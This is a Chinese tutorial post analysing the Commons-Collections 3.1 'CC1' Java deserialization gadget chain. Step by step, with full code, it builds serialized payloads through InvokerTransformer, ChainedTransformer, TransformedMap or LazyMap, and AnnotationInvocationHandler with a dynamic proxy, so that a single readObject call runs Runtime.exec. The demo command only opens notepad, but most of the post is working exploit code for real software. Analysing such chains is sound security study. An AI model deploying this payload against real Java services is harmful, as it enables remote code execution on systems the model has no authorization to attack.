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Java反序列化之CC1链分析 | 技术精选0142

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匿名
匿名  发表于 2022-8-24 21:39:52 |阅读模式

可能之前看Java CC1链的文章时，那复杂的玩法给我留下了阴影，这篇文章自己迟迟没有动笔——毕竟有TransformedMap玩法，还有LazyMap玩法，最终还得借助AnnotationInvocationHandler或动态代理，看着就令人头大。
但我可以拖延，洞却不会等着我。自己如果不加快节奏，洞就要和我说再见了。
咬牙鼓劲，遂出此文。
1
CC
首先，还是先说下Commons-Collections吧。它的功能是为Java标准的Collections API提供了相当好的补充，对其常用的数据结构操作进行了很好的封装和抽象。保证性能的同时大大简化代码。
此包的类包含下面两个：
MapCommons Collections在java.util.Map的基础上扩展了很多接口和类，比较有代表性的是BidiMap、MultiMap和LazyMap。跟Bag和Buffer类似，Commons Collections也提供了一个MapUtils。
所谓BidiMap，直译就是双向Map，可以通过key找到value，也可以通过value找到key，这在我们日常的代码-名称匹配的时候很方便：因为我们除了需要通过代码找到名称之外，往往也需要处理用户输入的名称，然后获取其代码。需要注意的是BidiMap当中不光key不能重复，value也不可以。
所谓MultiMap，就是说一个key不再是简单的指向一个对象，而是一组对象，add()和remove()的时候跟普通的Map无异，只是在get()时返回一个Collection，利用MultiMap，我们就可以很方便的往一个key上放数量不定的对象，也就实现了一对多。
所谓LazyMap，意思就是这个Map中的键/值对一开始并不存在，当被调用到时才创建。https://www.iteye.com/blog/duohuoteng-1630329

Transformer我们有时候需要将某个对象转换成另一个对象供另一组方法调用，而这两类对象的类型有可能并不是出于同一个继承体系的，或者说出了很基本的Object之外没有共同的父类，或者我们根本不关心他们是不是有其他继承关系，甚至就是同一个类的实例只是对我们而言无所谓，我们为了它能够被后续的调用者有意义的识别和处理，在这样的情形，我们就可以利用Transformer。除了基本的转型Transformer之外，Commons Collections还提供了Transformer链和带条件的Transformer，使得我们很方便的组装出有意义的转型逻辑。 https://blog.csdn.net/liliugen/article/details/83298363

重点要关注这两个类Map、Transformer。接下来包的问题，直接上maven仓库拉就好了：

qw3.jpg

最重要的一点：CC包版本需要为3.1-3.2.1，别看3.0和3.1只差个0.1，却可能导致弹不出记事本。我这次用的是3.1。
2
构造利用链
这一步建议使用jdk7，jdk8可能会出错。

InvokerTransformer
首先，来看反射机制触发函数
[AppleScript] 纯文本查看 复制代码
InvokerTransformer类的transform(Object input)：

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {this.iMethodName = methodName; //函数名this.iParamTypes = paramTypes; //函数参数的类型this.iArgs = args;             //参数对象}public Object transform(Object input) {Class cls = input.getClass();     //获取input的类Method method = cls.getMethod(this.iMethodName, this.iParamTypes); //调用方法return method.invoke(input, this.iArgs);              //执行}


qw4.jpg

通过Java反射机制，我们可以构造一个命令执行：
[AppleScript] 纯文本查看 复制代码
publicstaticvoid main(String[] args) throws Exception {//payload        InvokerTransformer x = new InvokerTransformer("exec",new Class[]{String.class},newString[]{"notepad"});

//服务端Object d = Class.forName("java.lang.Runtime")                .getMethod("getRuntime")                .invoke(Class.forName("java.lang.Runtime"));        x.transform(d);    }


qw5.jpg

但是，这似乎不太现实，服务端给咱专门来了个：
[AppleScript] 纯文本查看 复制代码
Object d = Class.forName(“java.lang.Runtime”).getMethod(“getRuntime”).invoke(Class.forName(“java.lang.Runtime”))

还得接着优化。
ChainedTransformer
接下来我们看这个类ChainedTransformer的transform函数：
[AppleScript] 纯文本查看 复制代码
public Object transform(Object object) {for(int i = 0; i < this.iTransformers.length; ++i) {object = this.iTransformers.transform(object);        }

returnobject;}
由此函数可知，输入的对象会给第一个转化器，转换结果会被输入到第二个转换器，以此类推。
再看ChainedTransformer类的构造函数，发现iTransformers数组是用户自己定义的：
[AppleScript] 纯文本查看 复制代码
publicChainedTransformer(Transformer[] transformers) {this.iTransformers = transformers;    }

接下来我们构造一下，运行：
[AppleScript] 纯文本查看 复制代码
publicstaticvoid main(String[] args) throws Exception {//payload        Transformer[] x = new Transformer[]{new InvokerTransformer("exec",new Class[]{String.class},newString[]{"notepad"})        };        Transformer d = new ChainedTransformer(x);

//服务端Object a = Class.forName("java.lang.Runtime")                .getMethod("getRuntime")                .invoke(Class.forName("java.lang.Runtime"));        d.transform(a);    }


qw6.jpg

看似和第一步没什么区别，但其实是在为后面做铺垫。
ConstantTransformer
ConstantTransformer类与InvokkerTransformer一样，继承Transforme父类，可以进入数组。主要看该类的下面两个函数：
[AppleScript] 纯文本查看 复制代码
public ConstantTransformer(Object constantToReturn) {this.iConstant = constantToReturn;}publicObject transform(Object input) {returnthis.iConstant;}

在此对其修改，由于Runtime.getRuntime()实例已经放进payload里面，transform函数有无参数都不重要，因为ConstantTransformer类的transform函数会返会iConstant值，也就是最开始我们构造函数设置好的：
[AppleScript] 纯文本查看 复制代码
publicstaticvoid main(String[] args) throws Exception {//payload        Transformer[] x = new Transformer[]{new ConstantTransformer(Runtime.getRuntime()),new InvokerTransformer("exec", new Class[]{String.class}, newString[]{"notepad"})        };        Transformer d = new ChainedTransformer(x);

//payload序列化写入文件，当作网络传输        FileOutputStream f = new FileOutputStream("payload.bin");        ObjectOutputStream fout = new ObjectOutputStream(f);        fout.writeObject(d);

//服务端反序列化payload读取        FileInputStream f1 = new FileInputStream("payload.bin");        ObjectInputStream f2 = new ObjectInputStream(f1);

        Transformer a = (ChainedTransformer) f2.readObject();

        d.transform(null);}

这次之所以这样写，是因为前面的序列化和不序列化结果都一样，这次如果不序列化，看不出问题。

qw7.jpg

果然报错，Runtime类的定义没有继承Serializable类，是不支持反序列化的。
服务端生成Runtime实例
Runtime的实例是通过Runtime.getRuntime()来获取的，而InvokerTransformer里面的反射机制可以执行任意函数，我们让其执行getRuntime，从而使其成为实例。
把数组修改成如下：
[AppleScript] 纯文本查看 复制代码
Transformer[] x = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getRuntime",newClass[]{},new Object[]{}),new InvokerTransformer("exec", newClass[]{String.class}, new String[]{"notepad"})        };

结果报错了，跟踪一下：

qw8.jpg

由于是类缘故，所以input.getClass获取的是java.lang.Class。

qw9.jpg

调整一下，借用getMethod方法执行getRuntime。
[AppleScript] 纯文本查看 复制代码
Transformer[] x = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, newObject[] {"getRuntime", new Class[0] }),new InvokerTransformer("exec", new Class[]{String.class}, newString[]{"notepad"})         };

跟踪到x[1]进去transform函数，发现获取的类还不是Runtime实例。

qw10.jpg

再对其调整：
[AppleScript] 纯文本查看 复制代码
Transformer[] x = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, newObject[] {"getRuntime", new Class[0] }),new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, newObject[] {null, newObject[0] }),new InvokerTransformer("exec", new Class[]{String.class}, newString[]{"notepad"})        };

终于成功了。

qw11.jpg

其实是等同于反射语句：
[AppleScript] 纯文本查看 复制代码
publicstaticvoid main(String[] args) throws Exception {//x[0],object=""        Class s = Class.forName("java.lang.Class");//x[1],object="java.lang.Runtime"Object o = s.getMethod("getMethod", new Class[]{String.class, Class[].class}).invoke(Class.forName("java.lang.Runtime"), "getRuntime", new Class[0]);        System.out.println(o + "\n\n");//x[2],object="java.lang.Runtime.getRuntime()"        s = o.getClass();        o = s.getMethod("invoke", new Class[]{Object.class, Object[].class}).invoke(o, null, newObject[0]);        System.out.println(s + "\n" + o + "\n\n");//x[3],object=Object o1 = Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime"));        System.out.println(o1);}


qw12.jpg

可以看出，O和O1结果是一样的，但是服务端应该也不会执行。
Transformer a = (ChainedTransformer) f2.readObject();d.transform(null);
还得继续优化。深思熟虑后，上Map。
这里有两种Map都可以实现，一种是TransformedMap，另一种LazyMap，ysoserial用的是第二种，下面我会分别聊这两种实现方法。
TransformedMap
首先，看下TransformedMap类，发现当该类在调用put函数时，会执行transform函数，最后的执行结果会被添加到Map里：
[AppleScript] 纯文本查看 复制代码
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {return new TransformedMap(map, keyTransformer, valueTransformer);}protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {super(map);this.keyTransformer = keyTransformer;this.valueTransformer = valueTransformer;}protected Object transformKey(Object object) {returnthis.keyTransformer == null ? object : this.keyTransformer.transform(object);}[i]
protected Object transformValue(Object object) {returnthis.valueTransformer == null ? object : this.valueTransformer.transform(object);}public Object put(Object key, Object value) {    key = this.transformKey(key);    value = this.transformValue(value);returnthis.getMap().put(key, value);}[/i]

于是，我就尝试了一下：
[AppleScript] 纯文本查看 复制代码
interfaceTestextendsTransformer{public Object transform(Object input);}
classTest1implementsTest, Transformer{public Object transform(Object input){return"x";    }}
classTest2implementsTest{public Object transform(Object input){return"d";    }}

publicclasscc1{publicstaticvoidmain(String[] args)throws Exception {        Map innerMap = new HashMap();        System.out.println(innerMap);        Map map = TransformedMap.decorate(innerMap, new Test1(), new Test2());        map.put("value", "value");        System.out.println(map);    }}
结果也是和我想象一样，Map输出为{x=d}。

qw13.jpg

借助这个类，我们修改一下，再尝试一次：
[AppleScript] 纯文本查看 复制代码
public classcc1{    public staticvoid main(String[] args) throws Exception {//payload        Transformer[] x = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, newObject[]{"getRuntime", new Class[0]}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, newObject[]{null, newObject[0]}),new InvokerTransformer("exec", new Class[]{String.class}, newString[]{"notepad"})        };        Transformer d = new ChainedTransformer(x);Map map = new HashMap();        map.put("value", "value");Map map1 = TransformedMap.decorate(map, null, d);//payload序列化写入文件，当作网络传输        FileOutputStream f = new FileOutputStream("payload.bin");        ObjectOutputStream fout = new ObjectOutputStream(f);        fout.writeObject(map1);
//服务端反序列化payload读取        FileInputStream f1 = new FileInputStream("payload.bin");        ObjectInputStream f2 = new ObjectInputStream(f1);
Map map2 = (Map) f2.readObject();        map2.put("value", "1");
    }}


qw14.jpg

这次就合理起来了。服务端执行Map应该问题不大。但是我们要追求完美，要让它只执行一个readObject就弹出记事本。
AnnotationInvocationHandler的readObject复写点
看看AnnotationInvocationHandler类下的readObject函数，发现在里面有赋值操作var5.setValue，不管它值是什么，总之只要赋值就能执行我们的命令：
[AppleScript] 纯文本查看 复制代码
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {   var1.defaultReadObject();   AnnotationType var2 = null;

try {       var2 = AnnotationType.getInstance(this.type);   } catch (IllegalArgumentException var9) {thrownew InvalidObjectException("Non-annotation type in annotation serial stream");   }

Map var3 = var2.memberTypes();   Iterator var4 = this.memberValues.entrySet().iterator();

while(var4.hasNext()) {       Entry var5 = (Entry)var4.next();String var6 = (String)var5.getKey();       Class var7 = (Class)var3.get(var6);if (var7 != null) {Object var8 = var5.getValue();if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {               var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));           }       }   }

}

顺势改下代码，由于AnnotationInvocationHandler类的构造函数的第一个参数继承Annotation，所以第一个变量可以在该包底选一个：
[AppleScript] 纯文本查看 复制代码
public classcc1{    public staticvoid main(String[] args) throws Exception {//payload        Transformer[] x = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, newObject[]{"getRuntime", new Class[0]}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, newObject[]{null, newObject[0]}),new InvokerTransformer("exec", new Class[]{String.class}, newString[]{"notepad"})        };        Transformer d = new ChainedTransformer(x);Map map = new HashMap();        map.put("key", "key");Map map1 = TransformedMap.decorate(map, null, d);        Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");        Constructor ct = cls.getDeclaredConstructor(Class.class, Map.class);        ct.setAccessible(true);Object o = ct.newInstance(Documented.class, map1);//payload序列化写入文件，当作网络传输        FileOutputStream f = new FileOutputStream("payload.bin");        ObjectOutputStream fout = new ObjectOutputStream(f);        fout.writeObject(o);

//服务端反序列化payload读取        FileInputStream f1 = new FileInputStream("payload.bin");        ObjectInputStream f2 = new ObjectInputStream(f1);
        f2.readObject();
    }}

发现var3里面有一组Map数据，会把用户输入的Map数据的每一组key值在其var3寻找，有则不为空，进入判断则可执行。

qw15.jpg

LazyMap
看看LazyMap类，发现其get函数在获取key所对应的数据时，如果当key不存在，则调用transform函数，并把执行结果作为该key所对应的数据，并添加到到Map里面：
[AppleScript] 纯文本查看 复制代码
publicstatic Map decorate(Map map, Transformer factory){returnnew LazyMap(map, factory);}protectedLazyMap(Map map, Factory factory){    super(map);if (factory == null) {thrownew IllegalArgumentException("Factory must not be null");    } else {this.factory = FactoryTransformer.getInstance(factory);    }}public Object get(Object key){if (!super.map.containsKey(key)) {        Object value = this.factory.transform(key);        super.map.put(key, value);return value;    } else {return super.map.get(key);    }}
用这个Map改的话，如下：
public classcc1{    public staticvoid main(String[] args) throws Exception {

//payload        Transformer[] x = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, newObject[]{"getRuntime", new Class[0]}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, newObject[]{null, newObject[0]}),new InvokerTransformer("exec", new Class[]{String.class}, newString[]{"notepad"})        };        Transformer d = new ChainedTransformer(x);Map map = new HashMap();Map map1 = LazyMap.decorate(map, d);        map1.get("key");    }}


qw16.jpg

不完美，还是不完美。
动态代理
我们看一段代码，运行发现，程序执行了invoke方法：
[AppleScript] 纯文本查看 复制代码
classexpHandlerimplementsInvocationHandler {protected Map map;

publicexpHandler(Map map){this.map = map;    }

    @Overridepublic Object invoke(Object proxy, Method method, Object[] args) throws Throwable {if (method.getName().compareTo("put") == 0) {            System.out.println("Hook Method: " + method.getName());map.put("hi", "xd");        }return method.invoke(this.map, args);    }}

publicclasscc1 {publicstaticvoidmain(String[] args) throws Exception {        InvocationHandler handler = new expHandler(new HashMap());        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);        proxyMap.put("hi", "sir");        System.out.println(proxyMap);}

发现输出的结果是先去执行invoke，当匹配不到，则按正常执行。
[AppleScript] 纯文本查看 复制代码
AnnotationInvocationHandler类其实和InvocationHandler差不多里都有invoke，AnnotationInvocationHandler类下的invoke里面使用的get函数，所以从这里切入：
publicObject invoke(Object var1, Method var2, Object[] var3) {String var4 = var2.getName();    Class[] var5 = var2.getParameterTypes();if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {returnthis.equalsImpl(var3[0]);    } elseif (var5.length != 0) {thrownew AssertionError("Too many parameters for an annotation method");    } else {        byte var7 = -1;switch(var4.hashCode()) {case-1776922004:if (var4.equals("toString")) {                var7 = 0;            }break;case147696667:if (var4.equals("hashCode")) {                var7 = 1;            }break;case1444986633:if (var4.equals("annotationType")) {                var7 = 2;            }        }

switch(var7) {case0:returnthis.toStringImpl();case1:returnthis.hashCodeImpl();case2:returnthis.type;default:Object var6 = this.memberValues.get(var4);if (var6 == null) {thrownew IncompleteAnnotationException(this.type, var4);            } elseif (var6 instanceof ExceptionProxy) {throw ((ExceptionProxy)var6).generateException();            } else {if (var6.getClass().isArray() && Array.getLength(var6) != 0) {                    var6 = this.cloneArray(var6);                }

return var6;            }        }    }}

通过这些，我们修改代码：
[AppleScript] 纯文本查看 复制代码
public classcc1{    public staticvoid main(String[] args) throws Exception {//payload        Transformer[] x = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, newObject[]{"getRuntime", new Class[0]}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, newObject[]{null, newObject[0]}),new InvokerTransformer("exec", new Class[]{String.class}, newString[]{"notepad"})        };        Transformer d = new ChainedTransformer(x);Map map = new HashMap();Map map1 = LazyMap.decorate(map, d);        Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");        Constructor ct = cls.getDeclaredConstructor(Class.class, Map.class);        ct.setAccessible(true);        InvocationHandler handler = (InvocationHandler) ct.newInstance(Target.class, map1);Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);Object o = ct.newInstance(Target.class, proxyMap);  //这样写也可handler = (InvocationHandler) ct.newInstance(Retention.class, proxyMap);

//payload序列化写入文件，当作网络传输        FileOutputStream f = new FileOutputStream("payload.bin");        ObjectOutputStream fout = new ObjectOutputStream(f);        fout.writeObject(o);  //如果用的后面那种，则把o换成handler

//服务端反序列化payload读取        FileInputStream f1 = new FileInputStream("payload.bin");        ObjectInputStream f2 = new ObjectInputStream(f1);

        f2.readObject();

    }}


qw17.jpg

3
总结
相对来说，TransformedMap需要设定特定值，但是在最后一步的时候容易理解。而LazyMap前面不需要多难的技巧，但在后面动态代理时显得比较复杂。
qw1.jpg
qw2.jpg
qw18.jpg
qw19.jpg
qw20.jpg
qw21.jpg
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